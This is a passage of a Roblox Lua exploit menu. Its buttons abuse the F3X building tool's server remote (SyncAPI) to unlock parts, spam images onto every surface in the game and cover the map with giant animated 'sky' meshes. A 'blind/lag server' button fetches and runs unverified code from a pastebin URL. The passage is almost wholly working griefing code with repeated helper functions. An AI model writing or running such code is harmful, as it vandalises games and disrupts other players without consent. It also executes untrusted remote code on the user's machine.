["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(99999,99999,99999))
SetLocked(v,true)
end
end
end
Sky("72497671152590")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.46, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "Decal 2"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("72497671152590")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.46, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "Spongebob sky"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(99999,99999,99999))
SetLocked(v,true)
end
end
end
Sky("132578977273720")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.5, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "spongebob decal"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("132578977273720")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.5, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "Get out frog sky"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
-- Epik skeleton dancing F3X By ItsKittyyyGD
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool
for i, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
local remote = tool.SyncAPI.ServerEndpoint
local RunService = game:GetService("RunService")
function _(args)
remote:InvokeServer(unpack(args))
end
function CreatePart(cf, parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function SetAnchor(part, boolean)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part, meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://" .. meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = texid
}
}
}
_(args)
end
function MeshResize(part, size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function SetTransparency(part, value)
local args = {
[1] = "SyncTransparency",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = value
}
}
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
local images = {
"http://www.roblox.com/asset/?id=88387114383441",
"http://www.roblox.com/asset/?id=80307658796395",
"http://www.roblox.com/asset/?id=89698227663709",
"http://www.roblox.com/asset/?id=94071530336475",
"http://www.roblox.com/asset/?id=132128840663861",
"http://www.roblox.com/asset/?id=73640982883614"
}
local skyPart
local skyLoop
local frameTime = 1 / 10
local lastUpdate = 0
function CreateSky()
local hrp = char:FindFirstChild("HumanoidRootPart")
if not hrp then return end
local cf = hrp.CFrame
CreatePart(CFrame.new(cf.Position + Vector3.new(0, 80, 0)), workspace)
for _, v in workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 80, 0) then
skyPart = v
SetAnchor(skyPart, true)
AddMesh(skyPart)
SetMesh(skyPart, "111891702759441")
MeshResize(skyPart, Vector3.new(99999, 99999, 99999))
SetTransparency(skyPart, 1)
local index = 1
skyLoop = RunService.Heartbeat:Connect(function(deltaTime)
lastUpdate = lastUpdate + deltaTime
if lastUpdate >= frameTime then
lastUpdate = 0
if not skyPart then
skyLoop:Disconnect()
return
end
SetTransparency(skyPart, 0)
SetTexture(skyPart, images[index])
index = index % #images + 1
end
end)
end
end
end
function ResetSky()
if skyPart then
DestroyPart(skyPart)
skyPart = nil
end
if skyLoop then
skyLoop:Disconnect()
skyLoop = nil
end
CreateSky()
end
player.CharacterAdded:Connect(function(newChar)
char = newChar
ResetSky()
end)
if char and char:FindFirstChild("Humanoid") then
char:WaitForChild("Humanoid").Died:Connect(function()
ResetSky()
end)
end
CreateSky()
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.5, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "pbj sky"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
-- Epik skeleton dancing F3X By ItsKittyyyGD
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool
for i, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
local remote = tool.SyncAPI.ServerEndpoint
local RunService = game:GetService("RunService")
function _(args)
remote:InvokeServer(unpack(args))
end
function CreatePart(cf, parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function SetAnchor(part, boolean)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part, meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://" .. meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = texid
}
}
}
_(args)
end
function MeshResize(part, size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function SetTransparency(part, value)
local args = {
[1] = "SyncTransparency",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = value
}
}
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
local images = {
"http://www.roblox.com/asset/?id=93445426456236",
"http://www.roblox.com/asset/?id=118193329351893",
"http://www.roblox.com/asset/?id=102452647768643",
"http://www.roblox.com/asset/?id=126774820251277",
"http://www.roblox.com/asset/?id=124372039754034",
"http://www.roblox.com/asset/?id=103051446442176",
"http://www.roblox.com/asset/?id=86468268513228",
"http://www.roblox.com/asset/?id=131728081878279"
}
local skyPart
local skyLoop
local frameTime = 1 / 10
local lastUpdate = 0
function CreateSky()
local hrp = char:FindFirstChild("HumanoidRootPart")
if not hrp then return end
local cf = hrp.CFrame
CreatePart(CFrame.new(cf.Position + Vector3.new(0, 80, 0)), workspace)
for _, v in workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 80, 0) then
skyPart = v
SetAnchor(skyPart, true)
AddMesh(skyPart)
SetMesh(skyPart, "111891702759441")
MeshResize(skyPart, Vector3.new(99999, 99999, 99999))
SetTransparency(skyPart, 1)
local index = 1
skyLoop = RunService.Heartbeat:Connect(function(deltaTime)
lastUpdate = lastUpdate + deltaTime
if lastUpdate >= frameTime then
lastUpdate = 0
if not skyPart then
skyLoop:Disconnect()
return
end
SetTransparency(skyPart, 0)
SetTexture(skyPart, images[index])
index = index % #images + 1
end
end)
end
end
end
function ResetSky()
if skyPart then
DestroyPart(skyPart)
skyPart = nil
end
if skyLoop then
skyLoop:Disconnect()
skyLoop = nil
end
CreateSky()
end
player.CharacterAdded:Connect(function(newChar)
char = newChar
ResetSky()
end)
if char and char:FindFirstChild("Humanoid") then
char:WaitForChild("Humanoid").Died:Connect(function()
ResetSky()
end)
end
CreateSky()
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.5, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "blind/lag server"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/70bB4R5J"))()
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.54, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "skeleton sky"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
-- Epik skeleton dancing F3X By ItsKittyyyGD
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool
for i, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
local remote = tool.SyncAPI.ServerEndpoint
local RunService = game:GetService("RunService")
function _(args)
remote:InvokeServer(unpack(args))
end
function CreatePart(cf, parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function SetAnchor(part, boolean)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part, meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://" .. meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = texid
}
}
}
_(args)
end
function MeshResize(part, size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function SetTransparency(part, value)
local args = {
[1] = "SyncTransparency",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = value
}
}
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
local images = {
"http://www.roblox.com/asset/?id=169585459",
"http://www.roblox.com/asset/?id=169585475",
"http://www.roblox.com/asset/?id=169585485",
"http://www.roblox.com/asset/?id=169585502",
"http://www.roblox.com/asset/?id=169585515",
"http://www.roblox.com/asset/?id=169585502",
"http://www.roblox.com/asset/?id=169585485",
"http://www.roblox.com/asset/?id=169585475"
}
local skyPart
local skyLoop
local frameTime = 1 / 10
local lastUpdate = 0
function CreateSky()
local hrp = char:FindFirstChild("HumanoidRootPart")
if not hrp then return end
local cf = hrp.CFrame
CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0)), workspace)
for _, v in workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then
skyPart = v
SetAnchor(skyPart, true)
AddMesh(skyPart)
SetMesh(skyPart, "111891702759441")
MeshResize(skyPart, Vector3.new(99999, 99999, 99999))
SetTransparency(skyPart, 1)
local index = 1
skyLoop = RunService.Heartbeat:Connect(function(deltaTime)
lastUpdate = lastUpdate + deltaTime
if lastUpdate >= frameTime then
lastUpdate = 0
if not skyPart then
skyLoop:Disconnect()
return
end
SetTransparency(skyPart, 0)
SetTexture(skyPart, images[index])
index = index % #images + 1
end
end)
end
end
end
function ResetSky()
if skyPart then
DestroyPart(skyPart)
skyPart = nil
end
if skyLoop then
skyLoop:Disconnect()
skyLoop = nil
end
CreateSky()
end
player.CharacterAdded:Connect(function(newChar)
char = newChar
ResetSky()
end)
if char and char:FindFirstChild("Humanoid") then
char:WaitForChild("Humanoid").Died:Connect(function()
ResetSky()
end)
end
CreateSky()
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.54, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "Skeleton decal"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
